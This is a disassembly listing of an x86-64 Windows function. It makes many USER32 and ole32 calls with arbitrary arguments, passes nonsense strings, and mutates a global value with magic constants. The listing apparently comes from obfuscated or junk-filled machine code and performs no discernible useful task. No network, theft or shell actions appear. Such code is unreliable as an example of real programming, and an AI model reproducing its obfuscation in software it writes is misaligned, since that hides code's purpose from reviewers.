mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x1b0e0]
call qword [sym.imp.USER32.dll_SetActiveWindow]
mov qword [rsp + 0x27ed0], rax
mov rcx, qword [rsp + 0x6598]
mov rax, qword [rsp + 0x21d38]
sub rax, rcx
mov qword [rsp + 0x29528], rax
movzx edx, word [rsp + 0x8218]
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
or edx, eax
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x67d0]
and eax, ecx
cmp edx, eax
jle 0x140202bb0
movsx ecx, byte [rsp + 0x18b28]
movsx eax, byte [rsp + 0xf250]
add ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov rcx, qword [rsp + 0x2b410]
call qword [sym.imp.USER32.dll_GetTopWindow]
mov qword [rsp + 0x1ab58], rax
mov rax, qword [rsp + 0xe8a0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x8218], ax
jmp 0x140202c0c
movabs rax, 0xd643bc2a0d997eb7
cmp qword [0x140244ef8], rax
jne 0x140202c0c
mov rcx, qword [rsp + 0x5b28]
mov eax, dword [rsp + 0x26148]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
lea r9, str.chord_paleface_Itinerant_ineluctable
lea r8, str.whirled_Sliders_Uncrowned_Guardian
mov rdx, qword [rsp + 0x5968]
mov rcx, qword [rsp + 0x1b0e0]
call qword [sym.imp.USER32.dll_FindWindowExA]
mov qword [rsp + 0xa270], rax
mov r9d, dword [rsp + 0x1e838]
mov r8d, dword [rsp + 0x1c058]
mov rax, qword [rsp + 0x5b28]
mov edx, dword [rax]
mov rax, qword [rsp + 0x7010]
mov ecx, dword [rax]
call fcn.1400551f0
jmp 0x140202cee
mov al, byte [rsp + 0x18b28]
mov byte [rsp + 0x2d750], al
cmp byte [rsp + 0x2d750], 0x30
je 0x140202c65
cmp byte [rsp + 0x2d750], 0x33
je 0x140202ce1
jmp 0x140202cee
mov rax, qword [rsp + 0xe8a0]
movzx edx, word [rax]
movzx eax, word [rsp + 0x13120]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov ecx, 0x73
call qword [sym.imp.USER32.dll_GetQueueStatus]
mov dword [rsp + 0x1e838], eax
movzx edx, word [rsp + 0x13120]
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x8218], ax
movsx ecx, word [rsp + 0x1f220]
movsx eax, word [rsp + 0x11564]
xor ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
call fcn.140203170
jmp 0x140202cee
call qword [sym.imp.USER32.dll_GetDialogBaseUnits]
mov dword [rsp + 0x258a4], eax
mov r9d, dword [rsp + 0x1e838]
mov rax, qword [rsp + 0xe198]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x1e838]
mov ecx, dword [rsp + 0x1c058]
call fcn.1400551f0
jmp 0x140202e7d
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
add ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
movsx ecx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
sub ecx, eax
movsx eax, byte [rsp + 0x18b28]
cmp ecx, eax
jge 0x140202e42
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
mov dword [rsp + 0x2d754], eax
cmp dword [rsp + 0x2d754], 0x2ff
je 0x140202e00
cmp dword [rsp + 0x2d754], 0x523
je 0x140202d92
jmp 0x140202e40
lea rcx, [rsp + 0x1690]
call qword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov dword [rsp + 0x3aa8], eax
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f220]
sub eax, ecx
mov word [rsp + 0x11564], ax
movzx ecx, word [rsp + 0x8218]
movzx eax, word [rsp + 0x67d0]
add ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
lea rdx, [rsp + 0x1c650]
mov rcx, qword [rsp + 0x2c608]
call qword [sym.imp.USER32.dll_SetMenuInfo]
mov dword [rsp + 0x27358], eax
jmp 0x140202e40
mov rax, qword [rsp + 0x1a870]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x65c8]
add ecx, eax
mov rax, qword [rsp + 0x29a80]
mov byte [rax], cl
mov rax, qword [rsp + 0x19120]
mov rcx, qword [rsp + 0x9750]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x29528], rax
jmp 0x140202e7d
movsx ecx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
sub ecx, eax
movsx eax, byte [rsp + 0x18b28]
cmp ecx, eax
jge 0x140202e7d
mov edx, 0xbc
mov rcx, qword [rsp + 0xa270]
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x27358], eax
mov ecx, 0x44
call qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
mov dword [rsp + 0x3aa8], eax
mov r9d, dword [rsp + 0x1e838]
mov r8d, dword [rsp + 0x11234]
mov rax, qword [rsp + 0x16938]
mov edx, dword [rax]
mov rax, qword [rsp + 0x8f38]
mov ecx, dword [rax]
call fcn.1400551f0
jmp 0x140202fe6
movzx edx, word [rsp + 0x8218]
movzx eax, word [rsp + 0x13120]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x67d0], ax
mov r8d, 1
lea rdx, [rsp + 0x1e838]
mov rcx, qword [rsp + 0xa270]
call qword [sym.imp.USER32.dll_InvalidateRect]
mov dword [rsp + 0xa928], eax
movzx ecx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
mov rax, qword [rsp + 0x264f8]
mov al, byte [rax]
mov byte [rsp + 0x2d758], al
cmp byte [rsp + 0x2d758], 0x24
je 0x140202fc5
cmp byte [rsp + 0x2d758], 0x32
je 0x140202f4c
jmp 0x140202fe6
mov rax, qword [rsp + 0x14a80]
movsx edx, word [rax]
mov rax, qword [rsp + 0x186d8]
movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x11564], ax
mov rax, qword [rsp + 0x186d8]
movsx edx, word [rax]
movsx eax, word [rsp + 0x1f220]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov ecx, 0x77
call qword [sym.imp.USER32.dll_BeginDeferWindowPos]
mov qword [rsp + 0x1c650], rax
movabs rcx, 0x6a7681db5f2f884d
mov rax, qword [0x140244ef8]
add rax, rcx
mov qword [0x140244ef8], rax
jmp 0x140202fe6
mov rcx, qword [rsp + 0x9750]
mov rax, qword [rsp + 0x6598]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
call qword [sym.imp.USER32.dll_GetCapture]
mov qword [rsp + 0xa270], rax
movsx ecx, byte [rsp + 0xf250]
movsx eax, byte [rsp + 0x18b28]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0x7010]
mov ecx, dword [rsp + 0x15368]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1c058], eax
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
add ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
jmp 0x140203064
mov r9, qword [0x1402412c8]
mov r8b, 0xac
mov dl, 0x3a
mov rcx, qword [rsp + 0x29528]
call fcn.1400561c0
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
sub eax, 0x55c
mov word [rsp + 0x67d0], ax
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x11564]
sub ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
lea rax, [rsp + 0x24af8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x29528]
mov r8d, 0x7c
mov edx, 0xfb
mov rcx, qword [rsp + 0xa270]
call qword [sym.imp.USER32.dll_ScrollWindow]
mov dword [rsp + 0x20000], eax
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x11564]
sub ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
jmp 0x140203139
movsx eax, word [rsp + 0x11564]
sub eax, 0x2334
mov word [rsp + 0x11564], ax
lea rdx, [rsp + 0x29f28]
lea rcx, str.Aerodynamic_goalies_Agreements_shockingly
call qword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
mov dword [rsp + 0x1e358], eax
movsx eax, word [rsp + 0x11564]
and eax, 0x1730
mov word [rsp + 0x11564], ax
movzx r9d, word [rsp + 0x11564]
mov r8w, 0x60
mov dl, 0xca
mov cx, 0x3d
call fcn.140203290
mov eax, dword [rsp + 0x113a4]
add rsp, 0x2d768
pop rdi
pop rsi
ret